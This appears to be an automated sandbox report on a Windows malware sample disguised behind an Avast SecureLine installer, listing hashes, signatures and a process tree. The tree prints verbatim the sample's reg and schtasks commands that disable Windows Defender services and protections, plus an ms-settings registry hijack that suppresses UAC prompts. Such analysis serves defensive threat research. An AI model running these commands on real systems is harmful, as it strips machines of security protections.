Analysis

  • max time kernel
    189s
  • max time network
    164s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    16-05-2022 05:12

General

  • Target

    4bc0df38f4c850b366c058e3b0e10264d5fa7f900cc436180e8d623e0bce6804.exe

  • Size

    23MB

  • MD5

    c888b34fa4b656f3e8862f4f3dfa9724

  • SHA1

    64de0b18bdaa471b8cef726dda5ff781314c0876

  • SHA256

    4bc0df38f4c850b366c058e3b0e10264d5fa7f900cc436180e8d623e0bce6804

  • SHA512

    9d7f71b1e3f6e48d8327d56dedddbde36c106a5e35aef31516e90ea53958a37f82974cb9c87590f4cf9231f0b395525a32cd3f52e8d0944892a94996d35c0db2

Score
10/10

Malware Config

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Modifies security service 2 TTPs 1 IoCs
  • Executes dropped EXE 12 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 11 IoCs
  • Checks for any installed AV software in registry 1 TTPs 1 IoCs
  • Drops file in Program Files directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies registry class 8 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 33 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\4bc0df38f4c850b366c058e3b0e10264d5fa7f900cc436180e8d623e0bce6804.exe
    "C:\Users\Admin\AppData\Local\Temp\4bc0df38f4c850b366c058e3b0e10264d5fa7f900cc436180e8d623e0bce6804.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1492
    • C:\Users\Admin\AppData\Local\Temp\is-EVSKJ.tmp\4bc0df38f4c850b366c058e3b0e10264d5fa7f900cc436180e8d623e0bce6804.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-EVSKJ.tmp\4bc0df38f4c850b366c058e3b0e10264d5fa7f900cc436180e8d623e0bce6804.tmp" /SL5="$3002E,24333694,778240,C:\Users\Admin\AppData\Local\Temp\4bc0df38f4c850b366c058e3b0e10264d5fa7f900cc436180e8d623e0bce6804.exe"
      2⤵
      • Executes dropped EXE
      • Checks computer location settings
      • Loads dropped DLL
      • Drops file in Program Files directory
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:2916
      • C:\Program Files (x86)\avast_secureline_setup.exe
        "C:\Program Files (x86)\avast_secureline_setup.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:1908
        • C:\Users\Admin\AppData\Local\Temp\is-J7PQG.tmp\avast_secureline_setup.tmp
          "C:\Users\Admin\AppData\Local\Temp\is-J7PQG.tmp\avast_secureline_setup.tmp" /SL5="$80068,19460867,177664,C:\Program Files (x86)\avast_secureline_setup.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Checks for any installed AV software in registry
          PID:1720
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\ProgramData\gwwDQz\MMF.vbs"
        3⤵
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:1768
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\ProgramData\gwwDQz\DisableOAVProtection.bat" "
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2108
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
            5⤵
              PID:528
            • C:\Windows\SysWOW64\reg.exe
              reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
              5⤵
                PID:4020
              • C:\Windows\SysWOW64\reg.exe
                reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
                5⤵
                  PID:796
                • C:\Windows\SysWOW64\reg.exe
                  reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
                  5⤵
                    PID:2832
                  • C:\Windows\SysWOW64\reg.exe
                    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
                    5⤵
                      PID:1752
                    • C:\Windows\SysWOW64\reg.exe
                      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
                      5⤵
                        PID:2232
                      • C:\Windows\SysWOW64\reg.exe
                        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
                        5⤵
                          PID:1664
                        • C:\Windows\SysWOW64\reg.exe
                          reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
                          5⤵
                            PID:3144
                          • C:\Windows\SysWOW64\reg.exe
                            reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
                            5⤵
                              PID:436
                            • C:\Windows\SysWOW64\schtasks.exe
                              schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
                              5⤵
                                PID:980
                              • C:\Windows\SysWOW64\reg.exe
                                reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
                                5⤵
                                  PID:1896
                                • C:\Windows\SysWOW64\reg.exe
                                  reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
                                  5⤵
                                    PID:1648
                                  • C:\Windows\SysWOW64\reg.exe
                                    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
                                    5⤵
                                      PID:3204
                                    • C:\Windows\SysWOW64\reg.exe
                                      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
                                      5⤵
                                        PID:1808
                                      • C:\Windows\SysWOW64\reg.exe
                                        reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
                                        5⤵
                                          PID:3400
                                        • C:\Windows\SysWOW64\reg.exe
                                          reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
                                          5⤵
                                            PID:1116
                                          • C:\Windows\SysWOW64\schtasks.exe
                                            schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
                                            5⤵
                                              PID:2336
                                            • C:\Windows\SysWOW64\schtasks.exe
                                              schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
                                              5⤵
                                                PID:1696
                                              • C:\Windows\SysWOW64\reg.exe
                                                reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
                                                5⤵
                                                  PID:2220
                                                • C:\Windows\SysWOW64\reg.exe
                                                  reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
                                                  5⤵
                                                  • Modifies security service
                                                  PID:3620
                                                • C:\Windows\SysWOW64\reg.exe
                                                  reg add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                                                  5⤵
                                                    PID:3036
                                                  • C:\Windows\SysWOW64\reg.exe
                                                    reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
                                                    5⤵
                                                      PID:3412
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
                                                      5⤵
                                                        PID:3400
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
                                                        5⤵
                                                          PID:1508
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
                                                          5⤵
                                                            PID:2952
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
                                                            5⤵
                                                              PID:2228
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
                                                              5⤵
                                                                PID:1900
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
                                                                5⤵
                                                                  PID:2628
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
                                                                  5⤵
                                                                    PID:3068
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
                                                                    5⤵
                                                                      PID:1032
                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                      schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
                                                                      5⤵
                                                                        PID:3164
                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                        schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
                                                                        5⤵
                                                                          PID:2640
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        C:\Windows\system32\cmd.exe /c ""C:\ProgramData\gwwDQz\DisableUserAccountControl.bat" "
                                                                        4⤵
                                                                        • Suspicious use of WriteProcessMemory
                                                                        PID:2272
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          REG ADD "HKCU\SOFTWARE\Classes\ms-settings\shell\open\command" /t REG_SZ /d "C:\windows\system32\cmd.exe /c REG ADD HKLM\software\microsoft\windows\currentversion\policies\system /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f" /f
                                                                          5⤵
                                                                          • Modifies registry class
                                                                          PID:3944
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          REG ADD "hkcu\software\classes\ms-settings\shell\open\command" /v DelegateExecute /t REG_SZ /d " " /f
                                                                          5⤵
                                                                          • Modifies registry class
                                                                          PID:800
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        C:\Windows\system32\cmd.exe /c ""C:\ProgramData\gwwDQz\main.bat" "
                                                                        4⤵
                                                                          PID:952
                                                                          • C:\ProgramData\gwwDQz\7z.exe
                                                                            7z.exe e extracted/file_3.zip -oextracted
                                                                            5⤵
                                                                            • Executes dropped EXE
                                                                            • Loads dropped DLL
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:2020
                                                                          • C:\ProgramData\gwwDQz\7z.exe
                                                                            7z.exe e extracted/file_1.zip -oextracted
                                                                            5⤵
                                                                            • Executes dropped EXE
                                                                            • Loads dropped DLL
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:4024
                                                                          • C:\ProgramData\gwwDQz\84613.exe
                                                                            "84613.exe"
                                                                            5⤵
                                                                            • Executes dropped EXE
                                                                            • Loads dropped DLL
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:360
                                                                            • C:\ProgramData\gwwDQz\84613.exe
                                                                              "84613.exe"
                                                                              6⤵
                                                                                PID:2324
                                                                            • C:\ProgramData\gwwDQz\7z.exe
                                                                              7z.exe e extracted/file_2.zip -oextracted
                                                                              5⤵
                                                                              • Executes dropped EXE
                                                                              • Loads dropped DLL
                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                              PID:2520
                                                                            • C:\ProgramData\gwwDQz\7z.exe
                                                                              7z.exe e extracted/file_4.zip -oextracted
                                                                              5⤵
                                                                              • Executes dropped EXE
                                                                              • Loads dropped DLL
                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                              PID:3160
                                                                            • C:\ProgramData\gwwDQz\7z.exe
                                                                              7z.exe e extracted/file_5.zip -oextracted
                                                                              5⤵
                                                                              • Executes dropped EXE
                                                                              • Loads dropped DLL
                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                              PID:3608
                                                                            • C:\ProgramData\gwwDQz\7z.exe
                                                                              7z.exe e extracted/file_6.zip -oextracted
                                                                              5⤵
                                                                              • Executes dropped EXE
                                                                              • Loads dropped DLL
                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                              PID:2488
                                                                            • C:\ProgramData\gwwDQz\7z.exe
                                                                              7z.exe e extracted/file_7.zip -oextracted
                                                                              5⤵
                                                                              • Executes dropped EXE
                                                                              • Loads dropped DLL
                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                              PID:1584
                                                                            • C:\ProgramData\gwwDQz\7z.exe
                                                                              7z.exe e file.zip -p___________22830pwd1083pwd601___________ -oextracted
                                                                              5⤵
                                                                              • Executes dropped EXE
                                                                              • Loads dropped DLL
                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                              PID:3724
                                                                            • C:\Windows\SysWOW64\mode.com
                                                                              mode 65,10
                                                                              5⤵
                                                                                PID:1676
                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                              C:\Windows\system32\cmd.exe /c ""C:\ProgramData\gwwDQz\DiskRemoval.bat" "
                                                                              4⤵
                                                                                PID:3808
                                                                                • C:\Windows\SysWOW64\timeout.exe
                                                                                  timeout /T 60 /NOBREAK
                                                                                  5⤵
                                                                                  • Delays execution with timeout.exe
                                                                                  PID:1652
                                                                        • C:\Windows\system32\wbem\wmiprvse.exe
                                                                          C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                          1⤵
                                                                            PID:3164
                                                                          • C:\Windows\system32\backgroundTaskHost.exe
                                                                            "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                                                                            1⤵
                                                                              PID:2952

                                                                            Network

                                                                            MITRE ATT&CK Matrix ATT&CK v6

                                                                            Persistence

                                                                            Modify Existing Service

                                                                            2
                                                                            T1031

                                                                            Defense Evasion

                                                                            Modify Registry

                                                                            2
                                                                            T1112

                                                                            Disabling Security Tools

                                                                            1
                                                                            T1089

                                                                            Discovery

                                                                            Query Registry

                                                                            1
                                                                            T1012

                                                                            System Information Discovery

                                                                            2
                                                                            T1082

                                                                            Security Software Discovery

                                                                            1
                                                                            T1063

                                                                            Replay Monitor

                                                                            Loading Replay Monitor...

                                                                            Downloads

                                                                            • C:\Program Files (x86)\avast_secureline_setup.exe
                                                                              Filesize

                                                                              19MB

                                                                              MD5

                                                                              1e8e91d1d4dbf9637d6baea5f77d65f5

                                                                              SHA1

                                                                              0e86714a2481751dbe0c6c57529997dc7163d6fc

                                                                              SHA256

                                                                              fad0aa00e784568d479c22391c0a95a39566ced3530dfc632771ca840411fd8b

                                                                              SHA512

                                                                              df0ce62e2103f0fcf3e3415c1539cda6fbc3a849fe187118f8e78509d23f0ac86a8a869d34ba45af81f75d233cdb17025ad5cb125209002dc47cb10d49dea616

                                                                            • C:\Program Files (x86)\avast_secureline_setup.exe
                                                                              Filesize

                                                                              19MB

                                                                              MD5

                                                                              1e8e91d1d4dbf9637d6baea5f77d65f5

                                                                              SHA1

                                                                              0e86714a2481751dbe0c6c57529997dc7163d6fc

                                                                              SHA256

                                                                              fad0aa00e784568d479c22391c0a95a39566ced3530dfc632771ca840411fd8b

                                                                              SHA512

                                                                              df0ce62e2103f0fcf3e3415c1539cda6fbc3a849fe187118f8e78509d23f0ac86a8a869d34ba45af81f75d233cdb17025ad5cb125209002dc47cb10d49dea616

                                                                            • C:\ProgramData\gwwDQz\7z.dll
                                                                              Filesize

                                                                              1MB

                                                                              MD5

                                                                              72491c7b87a7c2dd350b727444f13bb4

                                                                              SHA1

                                                                              1e9338d56db7ded386878eab7bb44b8934ab1bc7

                                                                              SHA256

                                                                              34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891

                                                                              SHA512

                                                                              583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511

                                                                            • C:\ProgramData\gwwDQz\7z.dll
                                                                              Filesize

                                                                              1MB

                                                                              MD5

                                                                              72491c7b87a7c2dd350b727444f13bb4

                                                                              SHA1

                                                                              1e9338d56db7ded386878eab7bb44b8934ab1bc7

                                                                              SHA256

                                                                              34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891

                                                                              SHA512

                                                                              583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511

                                                                            • C:\ProgramData\gwwDQz\7z.dll
                                                                              Filesize

                                                                              1MB

                                                                              MD5

                                                                              72491c7b87a7c2dd350b727444f13bb4

                                                                              SHA1

                                                                              1e9338d56db7ded386878eab7bb44b8934ab1bc7

                                                                              SHA256

                                                                              34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891

                                                                              SHA512

                                                                              583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511

                                                                            • C:\ProgramData\gwwDQz\7z.dll
                                                                              Filesize

                                                                              1MB

                                                                              MD5

                                                                              72491c7b87a7c2dd350b727444f13bb4

                                                                              SHA1

                                                                              1e9338d56db7ded386878eab7bb44b8934ab1bc7

                                                                              SHA256

                                                                              34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891

                                                                              SHA512

                                                                              583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511

                                                                            • C:\ProgramData\gwwDQz\7z.dll
                                                                              Filesize

                                                                              1MB

                                                                              MD5

                                                                              72491c7b87a7c2dd350b727444f13bb4

                                                                              SHA1

                                                                              1e9338d56db7ded386878eab7bb44b8934ab1bc7

                                                                              SHA256

                                                                              34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891

                                                                              SHA512

                                                                              583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511

                                                                            • C:\ProgramData\gwwDQz\7z.dll
                                                                              Filesize

                                                                              1MB

                                                                              MD5

                                                                              72491c7b87a7c2dd350b727444f13bb4

                                                                              SHA1

                                                                              1e9338d56db7ded386878eab7bb44b8934ab1bc7

                                                                              SHA256

                                                                              34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891

                                                                              SHA512

                                                                              583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511

                                                                            • C:\ProgramData\gwwDQz\7z.dll
                                                                              Filesize

                                                                              1MB

                                                                              MD5

                                                                              72491c7b87a7c2dd350b727444f13bb4

                                                                              SHA1

                                                                              1e9338d56db7ded386878eab7bb44b8934ab1bc7

                                                                              SHA256

                                                                              34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891

                                                                              SHA512

                                                                              583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511

                                                                            • C:\ProgramData\gwwDQz\7z.dll
                                                                              Filesize

                                                                              1MB

                                                                              MD5

                                                                              72491c7b87a7c2dd350b727444f13bb4

                                                                              SHA1

                                                                              1e9338d56db7ded386878eab7bb44b8934ab1bc7

                                                                              SHA256

                                                                              34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891

                                                                              SHA512

                                                                              583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511

                                                                            • C:\ProgramData\gwwDQz\7z.dll
                                                                              Filesize

                                                                              1MB

                                                                              MD5

                                                                              72491c7b87a7c2dd350b727444f13bb4

                                                                              SHA1

                                                                              1e9338d56db7ded386878eab7bb44b8934ab1bc7

                                                                              SHA256

                                                                              34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891

                                                                              SHA512

                                                                              583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511

                                                                            • C:\ProgramData\gwwDQz\7z.exe
                                                                              Filesize

                                                                              458KB

                                                                              MD5

                                                                              619f7135621b50fd1900ff24aade1524

                                                                              SHA1

                                                                              6c7ea8bbd435163ae3945cbef30ef6b9872a4591

                                                                              SHA256

                                                                              344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2

                                                                              SHA512

                                                                              2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628

                                                                            • C:\ProgramData\gwwDQz\7z.exe
                                                                              Filesize

                                                                              458KB

                                                                              MD5

                                                                              619f7135621b50fd1900ff24aade1524

                                                                              SHA1

                                                                              6c7ea8bbd435163ae3945cbef30ef6b9872a4591

                                                                              SHA256

                                                                              344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2

                                                                              SHA512

                                                                              2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628

                                                                            • C:\ProgramData\gwwDQz\7z.exe
                                                                              Filesize

                                                                              458KB

                                                                              MD5

                                                                              619f7135621b50fd1900ff24aade1524

                                                                              SHA1

                                                                              6c7ea8bbd435163ae3945cbef30ef6b9872a4591

                                                                              SHA256

                                                                              344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2

                                                                              SHA512

                                                                              2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628

                                                                            • C:\ProgramData\gwwDQz\7z.exe
                                                                              Filesize

                                                                              458KB

                                                                              MD5

                                                                              619f7135621b50fd1900ff24aade1524

                                                                              SHA1

                                                                              6c7ea8bbd435163ae3945cbef30ef6b9872a4591

                                                                              SHA256

                                                                              344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2

                                                                              SHA512

                                                                              2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628

                                                                            • C:\ProgramData\gwwDQz\7z.exe
                                                                              Filesize

                                                                              458KB

                                                                              MD5

                                                                              619f7135621b50fd1900ff24aade1524

                                                                              SHA1

                                                                              6c7ea8bbd435163ae3945cbef30ef6b9872a4591

                                                                              SHA256

                                                                              344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2

                                                                              SHA512

                                                                              2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628

                                                                            • C:\ProgramData\gwwDQz\7z.exe
                                                                              Filesize

                                                                              458KB

                                                                              MD5

                                                                              619f7135621b50fd1900ff24aade1524

                                                                              SHA1

                                                                              6c7ea8bbd435163ae3945cbef30ef6b9872a4591

                                                                              SHA256

                                                                              344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2

                                                                              SHA512

                                                                              2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628

                                                                            • C:\ProgramData\gwwDQz\7z.exe
                                                                              Filesize

                                                                              458KB

                                                                              MD5

                                                                              619f7135621b50fd1900ff24aade1524

                                                                              SHA1

                                                                              6c7ea8bbd435163ae3945cbef30ef6b9872a4591

                                                                              SHA256

                                                                              344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2

                                                                              SHA512

                                                                              2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628

                                                                            • C:\ProgramData\gwwDQz\7z.exe
                                                                              Filesize

                                                                              458KB

                                                                              MD5

                                                                              619f7135621b50fd1900ff24aade1524

                                                                              SHA1

                                                                              6c7ea8bbd435163ae3945cbef30ef6b9872a4591

                                                                              SHA256

                                                                              344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2

                                                                              SHA512

                                                                              2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628

                                                                            • C:\ProgramData\gwwDQz\7z.exe
                                                                              Filesize

                                                                              458KB

                                                                              MD5

                                                                              619f7135621b50fd1900ff24aade1524

                                                                              SHA1

                                                                              6c7ea8bbd435163ae3945cbef30ef6b9872a4591

                                                                              SHA256

                                                                              344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2

                                                                              SHA512

                                                                              2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628

                                                                            • C:\ProgramData\gwwDQz\84613.exe
                                                                              Filesize

                                                                              987KB

                                                                              MD5

                                                                              9cdd362db20aba3842f3bcc260d267ea

                                                                              SHA1

                                                                              8d262d0204d8d773d1456d18738d54767567c865

                                                                              SHA256

                                                                              89e59a62dd9e9a838caa83bfb9949ac442046a9ecfd20cf95139c2ac7a129e47

                                                                              SHA512

                                                                              fa8f940204195e3e447a9c783e3ff27a5b620ba779f472d19d02a9ca5cd613b755af02de78922fdaf9adea907e4742c11971a23e61b577925ddb8a650c30eb94

                                                                            • C:\ProgramData\gwwDQz\DisableOAVProtection.bat
                                                                              Filesize

                                                                              105KB

                                                                              MD5

                                                                              687cc2fd21ae18a05a907e3f0b27411b

                                                                              SHA1

                                                                              7a5129c77d6721ea8c3aceab90c1b5576638d14b

                                                                              SHA256

                                                                              6d09ddc3211e2840fcbcb463a22daf52664ef5d0f7234bb39ebeaaf5a0b8e632

                                                                              SHA512

                                                                              a69138598acb78954b99f986afa08d69ebd607a79d2733cfb904473651b34ff10aa6a6a08704f0d0bafafd962af7093b510addf3d1909523a8e8884c505e3b59

                                                                            • C:\ProgramData\gwwDQz\DisableUserAccountControl.bat
                                                                              Filesize

                                                                              17KB

                                                                              MD5

                                                                              e02bb39aab8a10eba07f113d7a548f9c

                                                                              SHA1

                                                                              2dcd92059dea564ef18b7bdbc931623a566628da

                                                                              SHA256

                                                                              96deb3e68b5bc4bd430624fd5d79113d0fb018b0afc401380b4662b4f0d9c617

                                                                              SHA512

                                                                              4b908a5b1eef6c799c057299d3b6c70aa567962edf42f390d330a5c6c0c2fd00872708f7f3d56d4323f7773ad1c15e663798e08f7c309c219555ee656de49223

                                                                            • C:\ProgramData\gwwDQz\DiskRemoval.bat
                                                                              Filesize

                                                                              254B

                                                                              MD5

                                                                              8c3372370db3c9dc3198135ad3162d20

                                                                              SHA1

                                                                              a30bf13314631716719094e52fd6e132f442fdbf

                                                                              SHA256

                                                                              63c360cd9f78fc0753a498f45b86c377416881e5560ea3de7908051c93bc0931

                                                                              SHA512

                                                                              6740d093a86c1f5121ee3c6db351152b9f97b06b0bad2a18545964d2e9e2d557cff07e6461e0772c0caa46ee265f82bf85ea78c512a98d377e0b8b261e7cd347

                                                                            • C:\ProgramData\gwwDQz\MMF.vbs
                                                                              Filesize

                                                                              30KB

                                                                              MD5

                                                                              bd64d967bf72703baaf72bfb5b353b4b

                                                                              SHA1

                                                                              ce34e28d066cd9b18d7fd7877c61481dfb6767cb

                                                                              SHA256

                                                                              c79920873a439db91c50ec806da982920d8b3d06f9fdfda0b457acaa6220606a

                                                                              SHA512

                                                                              ef79c00a3d4c7a66872cc55400f4db14f106f5a5852798fc98df298f801cddc744d20648dfeea2bfee229496cf6cefbe2b92925b82e579c4f6fa26e4c507de43

                                                                            • C:\ProgramData\gwwDQz\extracted\84613.exe
                                                                              Filesize

                                                                              987KB

                                                                              MD5

                                                                              9cdd362db20aba3842f3bcc260d267ea

                                                                              SHA1

                                                                              8d262d0204d8d773d1456d18738d54767567c865

                                                                              SHA256

                                                                              89e59a62dd9e9a838caa83bfb9949ac442046a9ecfd20cf95139c2ac7a129e47

                                                                              SHA512

                                                                              fa8f940204195e3e447a9c783e3ff27a5b620ba779f472d19d02a9ca5cd613b755af02de78922fdaf9adea907e4742c11971a23e61b577925ddb8a650c30eb94

